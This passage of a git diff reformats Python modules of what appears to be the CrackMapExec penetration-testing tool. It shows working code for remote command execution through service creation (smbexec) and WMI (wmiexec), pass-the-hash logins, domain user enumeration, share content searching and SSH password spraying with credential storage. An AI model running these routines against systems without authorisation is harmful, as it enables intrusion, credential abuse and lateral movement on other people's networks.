self.__nthash = '' + self.__lmhash = "" + self.__nthash = "" self.__aesKey = None self.__port = port self.__remote_name = remote_name @@ -208,7 +240,7 @@ class LSAQuery: rpc_transport.setRemoteHost(self.__remote_host) if self.__kerberos: rpc_transport.set_kerberos(True, None) - if hasattr(rpc_transport, 'set_credentials'): + if hasattr(rpc_transport, "set_credentials"): # This method exists only for selected protocol sequences. rpc_transport.set_credentials( self.__username, @@ -234,12 +266,16 @@ class LSAQuery: return dce def get_policy_handle(self): - resp = lsad.hLsarOpenPolicy2(self.dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES) - return resp['PolicyHandle'] + resp = lsad.hLsarOpenPolicy2( + self.dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES + ) + return resp["PolicyHandle"] def lookup_sids(self, sids): - resp = lsat.hLsarLookupSids(self.dce, self.policy_handle, sids, lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta) + resp = lsat.hLsarLookupSids( + self.dce, self.policy_handle, sids, lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta + ) names = [] - for translated_names in resp['TranslatedNames']['Names']: - names.append(translated_names['Name']) + for translated_names in resp["TranslatedNames"]["Names"]: + names.append(translated_names["Name"]) return names diff --git a/cme/protocols/smb/samruser.py b/cme/protocols/smb/samruser.py index c2510c99..973ac6d9 100644 --- a/cme/protocols/smb/samruser.py +++ b/cme/protocols/smb/samruser.py @@ -1,6 +1,6 @@ #!/usr/bin/env python3 # -*- coding: utf-8 -*- -#Stolen from Impacket +# Stolen from Impacket from impacket.dcerpc.v5 import transport, samr from impacket.dcerpc.v5.rpcrt import DCERPCException @@ -11,38 +11,40 @@ from cme.logger import cme_logger class UserSamrDump: - KNOWN_PROTOCOLS = { - '139/SMB': (r'ncacn_np:%s[\pipe\samr]', 139), - '445/SMB': (r'ncacn_np:%s[\pipe\samr]', 445), + "139/SMB": (r"ncacn_np:%s[\pipe\samr]", 139), + "445/SMB": (r"ncacn_np:%s[\pipe\samr]", 445), } def __init__(self, connection): self.logger = cme_logger - self.addr = connection.host if not connection.kerberos else connection.hostname + '.' + connection.domain + self.addr = ( + connection.host + if not connection.kerberos + else connection.hostname + "." + connection.domain + ) self.protocol = connection.args.port self.username = connection.username self.password = connection.password self.domain = connection.domain self.hash = connection.hash - self.lmhash = '' - self.nthash = '' + self.lmhash = "" + self.nthash = "" self.aesKey = None self.doKerberos = connection.kerberos self.protocols = UserSamrDump.KNOWN_PROTOCOLS.keys() self.users = [] if self.hash is not None: - if self.hash.find(':') != -1: - self.lmhash, self.nthash = self.hash.split(':') + if self.hash.find(":") != -1: + self.lmhash, self.nthash = self.hash.split(":") else: self.nthash = self.hash - + if self.password is None: - self.password = '' + self.password = "" def dump(self): - # Try all requested protocols until one works. for protocol in self.protocols: try: @@ -61,7 +63,7 @@ class UserSamrDump: self.lmhash, self.nthash, self.aesKey, - doKerberos=self.doKerberos + doKerberos=self.doKerberos, ) try: self.fetchList(rpctransport) @@ -80,20 +82,29 @@ class UserSamrDump: if resp["ErrorCode"] != 0: raise Exception("Connect error") - resp2 = samr.hSamrEnumerateDomainsInSamServer(dce, serverHandle=resp["ServerHandle"], - enumerationContext=0, - preferedMaximumLength=500) + resp2 = samr.hSamrEnumerateDomainsInSamServer( + dce, + serverHandle=resp["ServerHandle"], + enumerationContext=0, + preferedMaximumLength=500, + ) if resp2["ErrorCode"] != 0: raise Exception("Connect error") - resp3 = samr.hSamrLookupDomainInSamServer(dce, serverHandle=resp["ServerHandle"], - name=resp2["Buffer"]["Buffer"][0]["Name"]) + resp3 = samr.hSamrLookupDomainInSamServer( + dce, + serverHandle=resp["ServerHandle"], + name=resp2["Buffer"]["Buffer"][0]["Name"], + ) if resp3["ErrorCode"] != 0: raise Exception("Connect error") - resp4 = samr.hSamrOpenDomain(dce, serverHandle=resp["ServerHandle"], - desiredAccess=samr.MAXIMUM_ALLOWED, - domainId=resp3["DomainId"]) + resp4 = samr.hSamrOpenDomain( + dce, + serverHandle=resp["ServerHandle"], + desiredAccess=samr.MAXIMUM_ALLOWED, + domainId=resp3["DomainId"], + ) if resp4["ErrorCode"] != 0: raise Exception("Connect error") @@ -105,18 +116,30 @@ class UserSamrDump: enumerationContext = 0 while status == STATUS_MORE_ENTRIES: try: - resp = samr.hSamrEnumerateUsersInDomain(dce, domainHandle, enumerationContext = enumerationContext) + resp = samr.hSamrEnumerateUsersInDomain( + dce, domainHandle, enumerationContext=enumerationContext + ) except DCERPCException as e: if str(e).find("STATUS_MORE_ENTRIES") < 0: self.logger.fail("Error enumerating domain user(s)") - break + break resp = e.get_packet() self.logger.success("Enumerated domain user(s)") for user in resp["Buffer"]["Buffer"]: - r = samr.hSamrOpenUser(dce, domainHandle, samr.MAXIMUM_ALLOWED, user["RelativeId"]) - info = samr.hSamrQueryInformationUser2(dce, r["UserHandle"], samr.USER_INFORMATION_CLASS.UserAllInformation) - (username, uid, info_user) = (user["Name"], user["RelativeId"], info["Buffer"]["All"]) - self.logger.highlight(f"{self.domain}\\{user['Name']:<30} {info_user['AdminComment']}") + r = samr.hSamrOpenUser( + dce, domainHandle, samr.MAXIMUM_ALLOWED, user["RelativeId"] + ) + info = samr.hSamrQueryInformationUser2( + dce, r["UserHandle"], samr.USER_INFORMATION_CLASS.UserAllInformation + ) + (username, uid, info_user) = ( + user["Name"], + user["RelativeId"], + info["Buffer"]["All"], + ) + self.logger.highlight( + f"{self.domain}\\{user['Name']:<30} {info_user['AdminComment']}" + ) self.users.append(user["Name"]) samr.hSamrCloseHandle(dce, r["UserHandle"]) diff --git a/cme/protocols/smb/smbexec.py b/cme/protocols/smb/smbexec.py index 0226d4cf..fa08437a 100755 --- a/cme/protocols/smb/smbexec.py +++ b/cme/protocols/smb/smbexec.py @@ -10,7 +10,22 @@ from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE class SMBEXEC: - def __init__(self, host, share_name, smbconnection, protocol, username='', password='', domain='', doKerberos=False, aesKey=None, kdcHost=None, hashes = None, share = None, port=445): + def __init__( + self, + host, + share_name, + smbconnection, + protocol, + username="", + password="", + domain="", + doKerberos=False, + aesKey=None, + kdcHost=None, + hashes=None, + share=None, + port=445, + ): self.__host = host self.__share_name = "C$" self.__port = port @@ -18,14 +33,14 @@ class SMBEXEC: self.__password = password self.__serviceName = gen_random_string() self.__domain = domain - self.__lmhash = '' - self.__nthash = '' + self.__lmhash = "" + self.__nthash = "" self.__share = share self.__smbconnection = smbconnection self.__output = None self.__batchFile = None - self.__outputBuffer = b'' - self.__shell = '%COMSPEC% /Q /c ' + self.__outputBuffer = b"" + self.__shell = "%COMSPEC% /Q /c " self.__retOutput = False self.__rpctransport = None self.__scmr = None @@ -37,25 +52,32 @@ class SMBEXEC: self.logger = cme_logger if hashes is not None: - #This checks to see if we didn't provide the LM Hash - if hashes.find(':') != -1: - self.__lmhash, self.__nthash = hashes.split(':') + # This checks to see if we didn't provide the LM Hash + if hashes.find(":") != -1: + self.__lmhash, self.__nthash = hashes.split(":") else: self.__nthash = hashes if self.__password is None: - self.__password = '' + self.__password = "" - stringbinding = 'ncacn_np:%s[\pipe\svcctl]' % self.__host - self.logger.debug('StringBinding %s'%stringbinding) + stringbinding = "ncacn_np:%s[\pipe\svcctl]" % self.__host + self.logger.debug("StringBinding %s" % stringbinding) self.__rpctransport = transport.DCERPCTransportFactory(stringbinding) self.__rpctransport.set_dport(self.__port) - if hasattr(self.__rpctransport, 'setRemoteHost'): + if hasattr(self.__rpctransport, "setRemoteHost"): self.__rpctransport.setRemoteHost(self.__host) - if hasattr(self.__rpctransport, 'set_credentials'): + if hasattr(self.__rpctransport, "set_credentials"): # This method exists only for selected protocol sequences. - self.__rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,self.__aesKey) + self.__rpctransport.set_credentials( + self.__username, + self.__password, + self.__domain, + self.__lmhash, + self.__nthash, + self.__aesKey, + ) self.__rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost) self.__scmr = self.__rpctransport.get_dce_rpc() @@ -68,7 +90,7 @@ class SMBEXEC: self.__scmr.bind(scmr.MSRPC_UUID_SCMR) resp = scmr.hROpenSCManagerW(self.__scmr) - self.__scHandle = resp['lpScHandle'] + self.__scHandle = resp["lpScHandle"] def execute(self, command, output=False): self.__retOutput = output @@ -89,43 +111,59 @@ class SMBEXEC: self.__batchFile = gen_random_string(6) + ".bat" if self.__retOutput: - command = self.__shell + "echo " + data + f" ^> \\\\127.0.0.1\\{self.__share_name}\\{self.__output} 2^>^&1 > %TEMP%\{self.__batchFile} & %COMSPEC% /Q /c %TEMP%\{self.__batchFile} & %COMSPEC% /Q /c del %TEMP%\{self.__batchFile}" + command = ( + self.__shell + + "echo " + + data + + f" ^> \\\\127.0.0.1\\{self.__share_name}\\{self.__output} 2^>^&1 > %TEMP%\{self.__batchFile} & %COMSPEC% /Q /c %TEMP%\{self.__batchFile} & %COMSPEC% /Q /c del %TEMP%\{self.__batchFile}" + ) else: command = self.__shell + data - with open(os.path.join("/tmp", "cme_hosted", self.__batchFile), "w") as batch_file: + with open( + os.path.join("/tmp", "cme_hosted", self.__batchFile), "w" + ) as batch_file: batch_file.write(command) self.logger.debug("Hosting batch file with command: " + command) - #command = self.__shell + '\\\\{}\\{}\\{}'.format(local_ip,self.__share_name, self.__batchFile) + # command = self.__shell + '\\\\{}\\{}\\{}'.format(local_ip,self.__share_name, self.__batchFile) self.logger.debug("Command to execute: " + command) self.logger.debug(f"Remote service {self.__serviceName} created.") - resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName, lpBinaryPathName=command, dwStartType=scmr.SERVICE_DEMAND_START) + resp = scmr.hRCreateServiceW( + self.__scmr, + self.__scHandle, + self.__serviceName, + self.__serviceName, + lpBinaryPathName=command, + dwStartType=scmr.SERVICE_DEMAND_START, + ) service = resp["lpServiceHandle"] try: self.logger.debug(f"Remote service {self.__serviceName} started.") scmr.hRStartServiceW(self.__scmr, service) except: - pass + pass self.logger.debug(f"Remote service {self.__serviceName} deleted.") scmr.hRDeleteService(self.__scmr, service) scmr.hRCloseServiceHandle(self.__scmr, service) - self.get_output_remote() + self.get_output_remote() def get_output_remote(self): if self.__retOutput is False: - self.__outputBuffer = '' + self.__outputBuffer = "" return while True: try: - self.__smbconnection.getFile(self.__share, self.__output, self.output_callback) + self.__smbconnection.getFile( + self.__share, self.__output, self.output_callback + ) break except Exception as e: print(e) - if str(e).find("STATUS_SHARING_VIOLATION") >=0: + if str(e).find("STATUS_SHARING_VIOLATION") >= 0: # Output not finished, let's wait sleep(2) pass @@ -133,7 +171,7 @@ class SMBEXEC: logger.debug(e) pass - self.__smbconnection.deleteFile(self.__share, self.__output) + self.__smbconnection.deleteFile(self.__share, self.__output) def execute_fileless(self, data): self.__output = gen_random_string(6) @@ -141,27 +179,42 @@ class SMBEXEC: local_ip = self.__rpctransport.get_socket().getsockname()[0] if self.__retOutput: - command = self.__shell + data + f" ^> \\\\{local_ip}\\{self.__share_name}\\{self.__output}" + command = ( + self.__shell + + data + + f" ^> \\\\{local_ip}\\{self.__share_name}\\{self.__output}" + ) else: command = self.__shell + data - with open(os.path.join("/tmp", "cme_hosted", self.__batchFile), "w") as batch_file: + with open( + os.path.join("/tmp", "cme_hosted", self.__batchFile), "w" + ) as batch_file: batch_file.write(command) self.logger.debug("Hosting batch file with command: " + command) - command = self.__shell + f"\\\\{local_ip}\\{self.__share_name}\\{self.__batchFile}" + command = ( + self.__shell + f"\\\\{local_ip}\\{self.__share_name}\\{self.__batchFile}" + ) self.logger.debug("Command to execute: " + command) self.logger.debug(f"Remote service {self.__serviceName} created.") - resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName, lpBinaryPathName=command, dwStartType=scmr.SERVICE_DEMAND_START) + resp = scmr.hRCreateServiceW( + self.__scmr, + self.__scHandle, + self.__serviceName, + self.__serviceName, + lpBinaryPathName=command, + dwStartType=scmr.SERVICE_DEMAND_START, + ) service = resp["lpServiceHandle"] try: self.logger.debug(f"Remote service {self.__serviceName} started.") scmr.hRStartServiceW(self.__scmr, service) except: - pass + pass self.logger.debug(f"Remote service {self.__serviceName} deleted.") scmr.hRDeleteService(self.__scmr, service) scmr.hRCloseServiceHandle(self.__scmr, service) @@ -173,7 +226,9 @@ class SMBEXEC: while True: try: - with open(os.path.join("/tmp", "cme_hosted", self.__output), "rb") as output: + with open( + os.path.join("/tmp", "cme_hosted", self.__output), "rb" + ) as output: self.output_callback(output.read()) break except IOError: @@ -182,15 +237,15 @@ class SMBEXEC: def finish(self): # Just in case the service is still created try: - self.__scmr = self.__rpctransport.get_dce_rpc() - self.__scmr.connect() - self.__scmr.bind(scmr.MSRPC_UUID_SCMR) - resp = scmr.hROpenSCManagerW(self.__scmr) - self.__scHandle = resp["lpScHandle"] - resp = scmr.hROpenServiceW(self.__scmr, self.__scHandle, self.__serviceName) - service = resp["lpServiceHandle"] - scmr.hRDeleteService(self.__scmr, service) - scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP) - scmr.hRCloseServiceHandle(self.__scmr, service) + self.__scmr = self.__rpctransport.get_dce_rpc() + self.__scmr.connect() + self.__scmr.bind(scmr.MSRPC_UUID_SCMR) + resp = scmr.hROpenSCManagerW(self.__scmr) + self.__scHandle = resp["lpScHandle"] + resp = scmr.hROpenServiceW(self.__scmr, self.__scHandle, self.__serviceName) + service = resp["lpServiceHandle"] + scmr.hRDeleteService(self.__scmr, service) + scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP) + scmr.hRCloseServiceHandle(self.__scmr, service) except: pass diff --git a/cme/protocols/smb/smbspider.py b/cme/protocols/smb/smbspider.py index b499a17d..0329abec 100755 --- a/cme/protocols/smb/smbspider.py +++ b/cme/protocols/smb/smbspider.py @@ -22,7 +22,17 @@ class SMBSpider: self.content = False self.results = [] - def spider(self, share, folder='.', pattern=[], regex=[], exclude_dirs=[], depth=None, content=False, onlyfiles=True): + def spider( + self, + share, + folder=".", + pattern=[], + regex=[], + exclude_dirs=[], + depth=None, + content=False, + onlyfiles=True, + ): if regex: try: self.regex = [re.compile(bytes(rx, "utf8")) for rx in regex] @@ -86,15 +96,25 @@ class SMBSpider: except SessionError as e: if not filelist: if "STATUS_ACCESS_DENIED" not in str(e): - self.logger.debug(f"Failed listing files on share {self.share} in directory {subfolder}: {e}") + self.logger.debug( + f"Failed listing files on share {self.share} in directory {subfolder}: {e}" + ) return for result in filelist: if result.is_directory() and result.get_longname() not in [".", ".."]: if subfolder == "*": - self._spider(subfolder.replace("*", '') + result.get_longname(), depth - 1 if depth else None) - elif subfolder != "*" and (subfolder[:-2].split("/")[-1] not in self.exclude_dirs): - self._spider(subfolder.replace("*", "") + result.get_longname(), depth - 1 if depth else None) + self._spider( + subfolder.replace("*", "") + result.get_longname(), + depth - 1 if depth else None, + ) + elif subfolder != "*" and ( + subfolder[:-2].split("/")[-1] not in self.exclude_dirs + ): + self._spider( + subfolder.replace("*", "") + result.get_longname(), + depth - 1 if depth else None, + ) return def dir_list(self, files, path): @@ -102,35 +122,50 @@ class SMBSpider: for result in files: if self.pattern: for pattern in self.pattern: - if bytes(result.get_longname().lower(), "utf8").find(bytes(pattern.lower(), "utf8")) != -1: - if not self.onlyfiles and result.is_directory(): - self.logger.highlight( - f"//{self.smbconnection.getRemoteHost()}/{self.share}/{path}{result.get_longname()} [dir]" - ) - else: - self.logger.highlight(u"//{}/{}/{}{} [lastm:'{}' size:{}]".format( - self.smbconnection.getRemoteHost(), - self.share, - path, - result.get_longname(), - 'n\\a' if not self.get_lastm_time(result) else self.get_lastm_time(result), - result.get_filesize())) - self.results.append(f"{path}{result.get_longname()}") - if self.regex: - for regex in self.regex: - if regex.findall(bytes(result.get_longname(), 'utf8')): + if ( + bytes(result.get_longname().lower(), "utf8").find( + bytes(pattern.lower(), "utf8") + ) + != -1 + ): if not self.onlyfiles and result.is_directory(): self.logger.highlight( f"//{self.smbconnection.getRemoteHost()}/{self.share}/{path}{result.get_longname()} [dir]" ) else: - self.logger.highlight(u"//{}/{}/{}{} [lastm:'{}' size:{}]".format( - self.smbconnection.getRemoteHost(), - self.share, - path, - result.get_longname(), - 'n\\a' if not self.get_lastm_time(result) else self.get_lastm_time(result), - result.get_filesize())) + self.logger.highlight( + "//{}/{}/{}{} [lastm:'{}' size:{}]".format( + self.smbconnection.getRemoteHost(), + self.share, + path, + result.get_longname(), + "n\\a" + if not self.get_lastm_time(result) + else self.get_lastm_time(result), + result.get_filesize(), + ) + ) + self.results.append(f"{path}{result.get_longname()}") + if self.regex: + for regex in self.regex: + if regex.findall(bytes(result.get_longname(), "utf8")): + if not self.onlyfiles and result.is_directory(): + self.logger.highlight( + f"//{self.smbconnection.getRemoteHost()}/{self.share}/{path}{result.get_longname()} [dir]" + ) + else: + self.logger.highlight( + "//{}/{}/{}{} [lastm:'{}' size:{}]".format( + self.smbconnection.getRemoteHost(), + self.share, + path, + result.get_longname(), + "n\\a" + if not self.get_lastm_time(result) + else self.get_lastm_time(result), + result.get_filesize(), + ) + ) self.results.append(f"{path}{result.get_longname()}") if self.content: @@ -140,9 +175,14 @@ class SMBSpider: return def search_content(self, path, result): - path = path.replace("*", '') + path = path.replace("*", "") try: - rfile = RemoteFile(self.smbconnection, path + result.get_longname(), self.share, access=FILE_READ_DATA) + rfile = RemoteFile( + self.smbconnection, + path + result.get_longname(), + self.share, + access=FILE_READ_DATA, + ) rfile.open() while True: @@ -160,28 +200,38 @@ class SMBSpider: if self.pattern: for pattern in self.pattern: if contents.lower().find(bytes(pattern.lower(), "utf8")) != -1: - self.logger.highlight(u"//{}/{}/{}{} [lastm:'{}' size:{} offset:{} pattern:'{}']".format( - self.smbconnection.getRemoteHost(), - self.share, - path, - result.get_longname(), - 'n\\a' if not self.get_lastm_time(result) else self.get_lastm_time(result), - result.get_filesize(), - rfile.tell(), - pattern)) + self.logger.highlight( + "//{}/{}/{}{} [lastm:'{}' size:{} offset:{} pattern:'{}']".format( + self.smbconnection.getRemoteHost(), + self.share, + path, + result.get_longname(), + "n\\a" + if not self.get_lastm_time(result) + else self.get_lastm_time(result), + result.get_filesize(), + rfile.tell(), + pattern, + ) + ) self.results.append(f"{path}{result.get_longname()}") if self.regex: for regex in self.regex: if regex.findall(contents): - self.logger.highlight(u"//{}/{}/{}{} [lastm:'{}' size:{} offset:{} regex:'{}']".format( - self.smbconnection.getRemoteHost(), - self.share, - path, - result.get_longname(), - 'n\\a' if not self.get_lastm_time(result) else self.get_lastm_time(result), - result.get_filesize(), - rfile.tell(), - regex.pattern)) + self.logger.highlight( + "//{}/{}/{}{} [lastm:'{}' size:{} offset:{} regex:'{}']".format( + self.smbconnection.getRemoteHost(), + self.share, + path, + result.get_longname(), + "n\\a" + if not self.get_lastm_time(result) + else self.get_lastm_time(result), + result.get_filesize(), + rfile.tell(), + regex.pattern, + ) + ) self.results.append(f"{path}{result.get_longname()}") rfile.close() @@ -197,7 +247,9 @@ class SMBSpider: def get_lastm_time(self, result_obj): lastm_time = None try: - lastm_time = strftime("%Y-%m-%d %H:%M", localtime(result_obj.get_mtime_epoch())) + lastm_time = strftime( + "%Y-%m-%d %H:%M", localtime(result_obj.get_mtime_epoch()) + ) except Exception: pass diff --git a/cme/protocols/smb/wmiexec.py b/cme/protocols/smb/wmiexec.py index af52bce2..b6d7046a 100755 --- a/cme/protocols/smb/wmiexec.py +++ b/cme/protocols/smb/wmiexec.py @@ -12,20 +12,33 @@ from impacket.dcerpc.v5.dtypes import NULL class WMIEXEC: - def __init__(self, target, share_name, username, password, domain, smbconnection, doKerberos=False, aesKey=None, kdcHost=None, hashes=None, share=None): + def __init__( + self, + target, + share_name, + username, + password, + domain, + smbconnection, + doKerberos=False, + aesKey=None, + kdcHost=None, + hashes=None, + share=None, + ): self.__target = target self.__username = username self.__password = password self.__domain = domain - self.__lmhash = '' - self.__nthash = '' + self.__lmhash = "" + self.__nthash = "" self.__share = share self.__smbconnection = smbconnection self.__output = None - self.__outputBuffer = b'' + self.__outputBuffer = b"" self.__share_name = share_name - self.__shell = 'cmd.exe /Q /c ' - self.__pwd = 'C:\\' + self.__shell = "cmd.exe /Q /c " + self.__pwd = "C:\\" self.__aesKey = aesKey self.__kdcHost = kdcHost self.__doKerberos = doKerberos @@ -33,21 +46,34 @@ class WMIEXEC: self.logger = cme_logger if hashes is not None: - #This checks to see if we didn't provide the LM Hash - if hashes.find(':') != -1: - self.__lmhash, self.__nthash = hashes.split(':') + # This checks to see if we didn't provide the LM Hash + if hashes.find(":") != -1: + self.__lmhash, self.__nthash = hashes.split(":") else: self.__nthash = hashes if self.__password is None: - self.__password = '' - self.__dcom = DCOMConnection(self.__target, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost) - iInterface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) + self.__password = "" + self.__dcom = DCOMConnection( + self.__target, + self.__username, + self.__password, + self.__domain, + self.__lmhash, + self.__nthash, + self.__aesKey, + oxidResolver=True, + doKerberos=self.__doKerberos, + kdcHost=self.__kdcHost, + ) + iInterface = self.__dcom.CoCreateInstanceEx( + wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login + ) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) - iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) + iWbemServices = iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL) iWbemLevel1Login.RemRelease() - self.__win32Process,_ = iWbemServices.GetObject('Win32_Process') + self.__win32Process, _ = iWbemServices.GetObject("Win32_Process") def execute(self, command, output=False): self.__retOutput = output @@ -63,14 +89,14 @@ class WMIEXEC: return self.__outputBuffer def cd(self, s): - self.execute_remote('cd ' + s) - if len(self.__outputBuffer.strip('\r\n')) > 0: - self.__outputBuffer = b'' + self.execute_remote("cd " + s) + if len(self.__outputBuffer.strip("\r\n")) > 0: + self.__outputBuffer = b"" else: self.__pwd = ntpath.normpath(ntpath.join(self.__pwd, s)) - self.execute_remote('cd ') - self.__pwd = self.__outputBuffer.strip('\r\n') - self.__outputBuffer = b'' + self.execute_remote("cd ") + self.__pwd = self.__outputBuffer.strip("\r\n") + self.__outputBuffer = b"" def output_callback(self, data): self.__outputBuffer += data @@ -101,7 +127,11 @@ class WMIEXEC: self.__output = gen_random_string(6) local_ip = self.__smbconnection.getSMBServer().get_socket().getsockname()[0] - command = self.__shell + data + f" 1> \\\\{local_ip}\\{self.__share_name}\\{self.__output} 2>&1" + command = ( + self.__shell + + data + + f" 1> \\\\{local_ip}\\{self.__share_name}\\{self.__output} 2>&1" + ) self.logger.debug("Executing command: " + command) self.__win32Process.Create(command, self.__pwd, None) @@ -110,7 +140,9 @@ class WMIEXEC: def get_output_fileless(self): while True: try: - with open(os.path.join("/tmp", "cme_hosted", self.__output), "r") as output: + with open( + os.path.join("/tmp", "cme_hosted", self.__output), "r" + ) as output: self.output_callback(output.read()) break except IOError: @@ -118,20 +150,22 @@ class WMIEXEC: def get_output_remote(self): if self.__retOutput is False: - self.__outputBuffer = '' + self.__outputBuffer = "" return while True: try: - self.__smbconnection.getFile(self.__share, self.__output, self.output_callback) + self.__smbconnection.getFile( + self.__share, self.__output, self.output_callback + ) break except Exception as e: - if str(e).find("STATUS_SHARING_VIOLATION") >=0: + if str(e).find("STATUS_SHARING_VIOLATION") >= 0: # Output not finished, let's wait sleep(2) pass else: - #print str(e) + # print str(e) pass self.__smbconnection.deleteFile(self.__share, self.__output) diff --git a/cme/protocols/ssh.py b/cme/protocols/ssh.py index 2c9e2e90..c975681f 100644 --- a/cme/protocols/ssh.py +++ b/cme/protocols/ssh.py @@ -10,7 +10,11 @@ import paramiko from cme.config import process_secret from cme.connection import * from cme.logger import CMEAdapter -from paramiko.ssh_exception import AuthenticationException, NoValidConnectionsError, SSHException +from paramiko.ssh_exception import ( + AuthenticationException, + NoValidConnectionsError, + SSHException, +) class ssh(connection): @@ -20,55 +24,46 @@ class ssh(connection): self.server_os = None super().__init__(args, db, host) - @staticmethod def proto_args(parser, std_parser, module_parser): ssh_parser = parser.add_parser( - "ssh", - help="own stuff using SSH", - parents=[std_parser, module_parser] + "ssh", help="own stuff using SSH", parents=[std_parser, module_parser] ) ssh_parser.add_argument( "--no-bruteforce", - action='store_true', - help="No spray when using file for username and password (user1 => password1, user2 => password2" + action="store_true", + help="No spray when using file for username and password (user1 => password1, user2 => password2", ) ssh_parser.add_argument( "--key-file", type=str, - help="Authenticate using the specified private key. Treats the password parameter as the key's passphrase." + help="Authenticate using the specified private key. Treats the password parameter as the key's passphrase.", ) ssh_parser.add_argument( - "--port", - type=int, - default=22, - help="SSH port (default: 22)" + "--port", type=int, default=22, help="SSH port (default: 22)" ) ssh_parser.add_argument( "--continue-on-success", action="store_true", - help="continues authentication attempts even after successes" + help="continues authentication attempts even after successes", ) cgroup = ssh_parser.add_argument_group( - "Command Execution", - "Options for executing commands" + "Command Execution", "Options for executing commands" ) cgroup.add_argument( - "--no-output", - action="store_true", - help="do not retrieve command output" + "--no-output", action="store_true", help="do not retrieve command output" ) cgroup.add_argument( "-x", metavar="COMMAND", dest="execute", - help="execute the specified command" + help="execute the specified command", ) cgroup.add_argument( "--remote-enum", action="store_true", - help="executes remote commands for enumeration" + help="executes remote commands for enumeration", ) return parser @@ -79,7 +74,7 @@ class ssh(connection): "protocol": "SSH", "host": self.host, "port": self.args.port, - "hostname": self.hostname + "hostname": self.hostname, } ) logging.getLogger("paramiko").setLevel(logging.WARNING) @@ -96,7 +91,9 @@ class ssh(connection): stdin, stdout, stderr = self.conn.exec_command("uname -r") self.server_os = stdout.read().decode("utf-8") self.logger.debug(f"OS retrieved: {self.server_os}") - self.db.add_host(self.host, self.args.port, self.remote_version, os=self.server_os) + self.db.add_host( + self.host, self.args.port, self.remote_version, os=self.server_os + ) def create_conn_obj(self): self.conn = paramiko.SSHClient() @@ -124,8 +121,10 @@ class ssh(connection): self.logger.info(f"Determined user is root via `id` command") self.admin_privs = True return True - stdin, stdout, stderr = self.conn.exec_command("sudo -ln | grep 'NOPASSWD: ALL'") - if stdout.read().decode("utf-8").find("NOPASSWD: ALL")!= -1: + stdin, stdout, stderr = self.conn.exec_command( + "sudo -ln | grep 'NOPASSWD: ALL'" + ) + if stdout.read().decode("utf-8").find("NOPASSWD: ALL") != -1: self.logger.info(f"Determined user is root via `sudo -ln` command") self.admin_privs = True return True @@ -146,14 +145,24 @@ class ssh(connection): passphrase=password if password != "" else None, pkey=pkey, look_for_keys=False, - allow_agent=False + allow_agent=False, ) if private_key: - cred_id = self.db.add_credential("key", username, password if password != "" else "", key=private_key) + cred_id = self.db.add_credential( + "key", + username, + password if password != "" else "", + key=private_key, + ) else: with open(self.args.key_file, "r") as f: key_data = f.read() - cred_id = self.db.add_credential("key", username, password if password != "" else "", key=key_data) + cred_id = self.db.add_credential( + "key", + username, + password if password != "" else "", + key=key_data, + ) else: self.logger.debug(f"Logging in with password") self.conn.connect( @@ -162,7 +171,7 @@ class ssh(connection): username=username, password=password, look_for_keys=False, - allow_agent=False + allow_agent=False, ) cred_id = self.db.add_credential("plaintext", username, password) @@ -171,11 +180,21 @@ class ssh(connection): if self.check_if_admin(): shell_access = True - self.logger.debug(f"User {username} logged in successfully and is root!") + self.logger.debug( + f"User {username} logged in successfully and is root!" + ) if self.args.key_file: - self.db.add_admin_user("key", username, password, host_id=host_id, cred_id=cred_id) + self.db.add_admin_user( + "key", username, password, host_id=host_id, cred_id=cred_id + ) else: - self.db.add_admin_user("plaintext", username, password, host_id=host_id, cred_id=cred_id) + self.db.add_admin_user( + "plaintext", + username, + password, + host_id=host_id, + cred_id=cred_id, + ) else: stdin, stdout, stderr = self.conn.exec_command("id") output = stdout.read().decode("utf-8") @@ -198,10 +217,12 @@ class ssh(connection): if not self.args.continue_on_success: return True - except (AuthenticationException, NoValidConnectionsError, ConnectionResetError) as e: - self.logger.fail( - f"{username}:{process_secret(password)} {e}" - ) + except ( + AuthenticationException, + NoValidConnectionsError, + ConnectionResetError, + ) as e: + self.logger.fail(f"{username}:{process_secret(password)} {e}") self.client_close() return False except Exception as e: diff --git a/cme/protocols/ssh/database.py b/cme/protocols/ssh/database.py index 353f0609..07500023 100644 --- a/cme/protocols/ssh/database.py +++ b/cme/protocols/ssh/database.py @@ -3,7 +3,11 @@ from sqlalchemy.dialects.sqlite import Insert from sqlalchemy.orm import sessionmaker, scoped_session from sqlalchemy import MetaData, Table, select, func, delete -from sqlalchemy.exc import IllegalStateChangeError, NoInspectionAvailable, NoSuchTableError +from sqlalchemy.exc import ( + IllegalStateChangeError, + NoInspectionAvailable, + NoSuchTableError, +) import os import configparser @@ -28,65 +32,77 @@ class database: self.db_engine = db_engine self.metadata = MetaData() self.reflect_tables() - session_factory = sessionmaker( - bind=self.db_engine, - expire_on_commit=True - ) - + session_factory = sessionmaker(bind=self.db_engine, expire_on_commit=True) + Session = scoped_session(session_factory) self.sess = Session() @staticmethod def db_schema(db_conn): db_conn.execute( - '''CREATE TABLE "credentials" ( + """CREATE TABLE "credentials" ( "id" integer PRIMARY KEY, "username" text, "password" text, "credtype" text - )''') + )""" + ) db_conn.execute( - '''CREATE TABLE "hosts" ( + """CREATE TABLE "hosts" ( "id" integer PRIMARY KEY, "host" text, "port" integer, "banner" text, "os" text - )''') + )""" + ) db_conn.execute( - '''CREATE TABLE "loggedin_relations" ( + """CREATE TABLE 